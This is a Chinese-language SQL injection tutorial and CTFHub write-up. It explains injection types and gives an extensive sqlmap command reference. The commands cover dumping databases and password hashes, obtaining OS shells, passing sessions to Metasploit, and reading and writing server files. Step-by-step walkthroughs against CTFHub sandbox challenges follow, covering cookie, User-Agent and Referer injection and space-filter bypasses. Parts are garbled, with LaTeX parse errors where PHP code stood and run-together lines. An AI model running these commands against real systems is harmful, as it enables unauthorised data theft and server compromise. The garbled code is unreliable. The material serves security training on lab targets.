一.sql注入原理
sql注入原理就是将恶意的sql语句通过表单或者url拼接到web后端的查询语句中,绕过后端的认证,在后端被服务器执行恶意的sql语句,获取到数据库的权限,从而对数据库进行执行操作,造成数据的篡改及泄露。
二.sql注入分类
根据注入位置数据类型笼统将SQL注入分为:数字型和字符型,但也可以细分。下面我就仔细介绍一下。
报错注入:GET基于报错的注入、POST基于错误的注入等报错注入;
盲注注入:基于时间(Time)的盲注、基于布尔(Boolean)的盲注;
user-agent 注入、referer 注入、cookie注入等
三.sqlmap工具的使用
款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是
MySQL
Oracle
PostgreSQL
Microsoft SQLServer
Microsoft Access
IBM DB2
SQLite Firebird
Sybase
SAP MaxDB
采用五种独特的SQL注入技术,分别是:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap常用命令如下:
sqlmap -r http.txt #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u “http://www.xx.com/username/admin*” #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” #探测该url是否存在漏洞
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --cookie=“抓取的cookie” #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --data=“uname=admin&passwd=admin&submit=Submit” #抓取其post提交的数据填入
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --users #查看数据库的所有用户
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --passwords #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump 当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump 当MySQL>= 5.7时
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --current-user #查看数据库当前的用户
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --is-dba #判断当前用户是否有管理员权限
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --roles #列出数据库所有管理员角色,仅适用于oracle数据库的时候sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --dbs #爆出所有的数据库
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --tables #爆出所有的数据表
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --columns #爆出数据库中所有的列
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --current-db #查看当前的数据库
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” -D security --tables #爆出数据库security中的所有的表
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” -D security -T users -C username --dump --start 1 --stop 100 #爆出数据库security中的users表中的username列中的前100条数据sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --dump-all #爆出该数据库中的所有数据sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
sqlmap -u “http://127.0.0.1/sqli-labs/Less-4/id=1” --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u “http://127.0.0.1/sqli-labs/Less-1/id=1” --sql-shell #执行指定的sql语句
sqlmap -u “http://127.0.0.1/sqli-labs/Less-4/id=1” --os-shell/–os-cmd #执行–os-shell命令,获取目标服务器权限
sqlmap -u “http://127.0.0.1/sqli-labs/Less-4/id=1” --os-pwn #执行–os-pwn命令,将目标权限弹到MSF上sqlmap -u “http://127.0.0.1/sqli-labs/Less-4/id=1” --file-read “c:/test.txt” #读取目标服务器C盘下的test.txt文件
sqlmap -u “http://127.0.0.1/sqli-labs/Less-4/id=1” --file-write test.txt --file-dest “e:/hack.txt” #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txtsqlmap -u “http://127.0.0.1/sqli-labs/Less-4/id=1” --dbms=“MySQL” #指定其数据库为mysql
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB
sqlmap -u “http://127.0.0.1/sqli-labs/Less-4/id=1” --random-agent #使用任意的User-Agent爆破
sqlmap -u “http://127.0.0.1/sqli-labs/Less-4/id=1” --proxy=“http://127.0.0.1:8080” #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u “http://127.0.0.1/sqli-labs/Less-4/id=1” --technique T #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)sqlmap -d “mysql://root:root@127.0.0.130:3306/mysql” --os-shell #知道网站的账号密码直接连接
-v3 #输出详细度 最大值5 会显示请求包和回复包
–threads 5 #指定线程数
–fresh-queries #清除缓存
–flush-session #清空会话,重构注入
–batch #对所有的交互式的都是默认的
–random-agent #任意的http头
–tamper base64encode #对提交的数据进行base64编码
–referer http://www.baidu.com #伪造referer字段–keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
在使用sqlmap的时候可以配合bp的使用。详细使用方法看burp使用。
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入
三. ctfhub sql注入实操(sqlmap)
首先要判断注点及注入类型
检测注入
在kali里运行sqlmap,输入基本格式语句:
sqlmap -u “id=1”
查数据库 --current-db
查数据表 -D 库名 --tables
查字段 -D 库名 -T 表名 --dump
闭合原理
判断SQL语句闭合方式原理:
MYSQL数据库的包容性比较强,如果你输错了数据的类型,MYSQL数据库会自动将其转换成正确的数据类型,比如输入1)、1"、1-等,只要数字后面的字符不是闭合符的,数据库都会把你输入的错误的数据转换成正确的数据类型。但是,若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误。
例如:
在Mysql数据库下,代码如下:
i d = id= id=_GET[‘id’];
KaTeX parse error: Undefined control sequence: \* at position 13: sql=“SELECT \̲*̲ FROM name WHER…id’ LIMIT 0,1”;
可以看到’(单引号)就是这条语句的闭合符
当,id输入的是1),那么拼接成的sql语句就是:“SELECT * FROM name WHERE id=‘1)’ LIMIT 0,1”;
按理来说这个sql语句应该是错误的,执行会报错,但是因为是在Mysql数据库环境下,它会自动把错误的数据1)转换成合法的数据1,从而使得sql语句执行成功,相同的输入1-、1"也一样。
MySQL一般的代码:
i d = id= id=_GET[‘id’];
KaTeX parse error: Undefined control sequence: \* at position 13: sql=“SELECT \̲*̲ FROM name WHER…id’ LIMIT 0,1”;
我们可以看到,用户输入的id是被带到sql语句中进行拼接,然后执行的,而且,这个id两边是被’ ‘(两个单引号)给闭合起来的,所以在这个代码里’(单引号)就是闭合符。
判断闭合符的两种方法:
第一种:
转义符()来通过回显信息判断闭合类型。
第二种:
1.整数型注入
输入参数为id,年龄,页码等,若存在注入型漏洞,则为整数型注入
用sqlmap来做ctfhub的整数型注入
检测注入点
常用
-u #探测该url是否存在漏洞
–dbs #爆出所有的数据库
–tables #爆出所有的数据表
–columns #爆出数据库中所有的列
–current-db #查看当前的数据库-D 库名xx–tables #爆出数据库xx中的所有的表
-D 库名xx -T 表xx --columns #爆出xx数据库中xx表中的所有的列
-D 库名xx-T 表xx -C 字段xx --dump #爆出数据库xx中的xx表中的xx列中的所有数据
-D 库名xx -T 表xx -C 字段xx --dump --start 1 --stop 100 #爆出数据库xx中的xx表中的xx列中的前100条数据
sqlmap -u “http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1”
查数据库名(–current-db)爆出来数据库名“sqli”
sqlmap -u "http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1" --current-db
查数据表(-D sqli --tables)获得表flag,news两张表
sqlmap -u "http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
查该flag表下的数据(-D sqls -T flag --dump )
sqlmap -u "http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
获得flag。
2.字符型注入
因为sqlmap适用于常规五种注入,所以基本方式不会改变。
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1"
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" --current-db
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
3.报错注入
发现一个问题,上两题的数据库信息存储的位置为=未发生改变,所以,只要修改thhp的值就可以获得flag。
所以构造
sqlmap -u "http://challenge-be2365d95f0e1188.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
4.布尔注入
sqlmap -u "http://challenge-7f3465d95f0e1188.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
5.时间注入
sqlmap -u "http://challenge-bf267x5d95f0e1188.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
6.mysql结构
我们在sqlmap中注入时,发现数据库下面的表发生了变化,但是本质没有发生变化。所以我们只需要修改地址即可。
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1"
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" --current-db
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
上述题目做完总结出的规律:直接套用
python sqlmap.py -u “http;//xxx/id=1”-D sqli -T flag -C flag --dump
下面四种注入区别在于注入点不同。
7.cookie注入
cookie注入的原理是:就要修改cookie的值,
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie
注入条件
一.在过滤get和post的时候未过滤cookie。
二.在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
cookie注入分为以下几个阶段:
1. 判断是不是注入点
2.得到字段总数
3.查选表名
4…查选列名
5.脱库(就是得到我们想得到列名的值)
在做cookie注入时要结合burp使用,通过bp抓包获取cookie值。
在sqlmap中做cookie注入时,要提高检测等级。
原因:
在SQLMap中,检测等级是用来指定SQL注入检测的详细程度和深度的参数。检测等级可以通过
--level
参数进行设置,其取值范围为1到5,其中1为最低级别,5为最高级别。不同的检测等级会影响SQLMap对目标网站进行SQL注入漏洞检测的方式和策略。较低的等级可能只会执行一些基本的SQL注入测试,而较高的等级则会进行更深入和复杂的测试,以发现更多的漏洞。
查数据库
sqlmap -u "http://challenge-3f19d183e8000da5.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 --current-db (sqli)
查表
sqlmap -u "http://challenge-3f19d183e8000da5.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli --tables --batch
找到表名
查表中的数据
sqlmap -u "http://challenge-3f19d183e8000da5.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli --dump --batch
或者是抓包,然后将抓到的数据保存在一个txt文档中,
sqlmap -r "xx.txt" --dbs #爆出所有数据库
-D 库名xx --tables #查表
-D 库名xx -T 表名yy --columns #查表中的字段
-D 库名xx -T 表名yy -C 字段mm --dump #查字段中内容
8.UA注入–使用level 3 (使用检测等级为三来检测)
1. UA注入原理
UA注入是一种特定类型的SQL注入攻击,它利用了用户代理(User-Agent,简称UA)字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息,其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
UA注入攻击的原理与常规的SQL注入攻击类似,都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是,它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL,而是利用UA字符串作为输入。攻击者可以通过修改UA字符串,将恶意的SQL代码插入到应用程序的数据库查询中。
sqlmap -u "http://XX" -level 3 --dbs #爆库
sqlmap -u "http://XX" -level 3 -D sqli --tables #爆表
sqlmap -u "http://XX" -level 3 -D sqli -T suigzvbmzy --columns #爆字段
sqlmap -u "http://XX" -level 3 -D sqli -T suigzvbmzy -C qenrtsitoa --dump #爆字段内容
若用bp抓包,则用
必须加 * 号否则没有注入点,调用 --level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入
sqlmap -r "a.txt" -level 3 --current-db --batch (sqli)
sqlmap -r "a.txt" -level 3 -D sqli --tables --batch
sqlmap -r "a.txt" -level 3 -D sqli --dump --batch
sqlmap -r "a.txt" -level 3 -dbs
9.Refer注入
Refer注入原理
Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。
同样可以直接注入或者以txt文件的形式注入,
sqlmap -r "b.txt" -level 3 --current-db --batch (sqli)
sqlmap -r "b.txt" -level 3 -D sqli --tables --batch
sqlmap -r "b.txt" -level 3 -D sqli --dump --batch
10.过滤空格
这里需要用到sqlmap的脚本
space2comment.py 用"/**/"替换空格符
注入命令
sqlmap -u "http://challenge-292e957ddd1430bb.sandbox.ctfhub.com:10800/?id=1" --current-db --tamper=space2comment.py
sqlmap -u "http://challenge-292e957ddd1430bb.sandbox.ctfhub.com:10800/?id=1" -D sqli --dump --tamper=space2comment.py --batch
--tamper=space2plus.py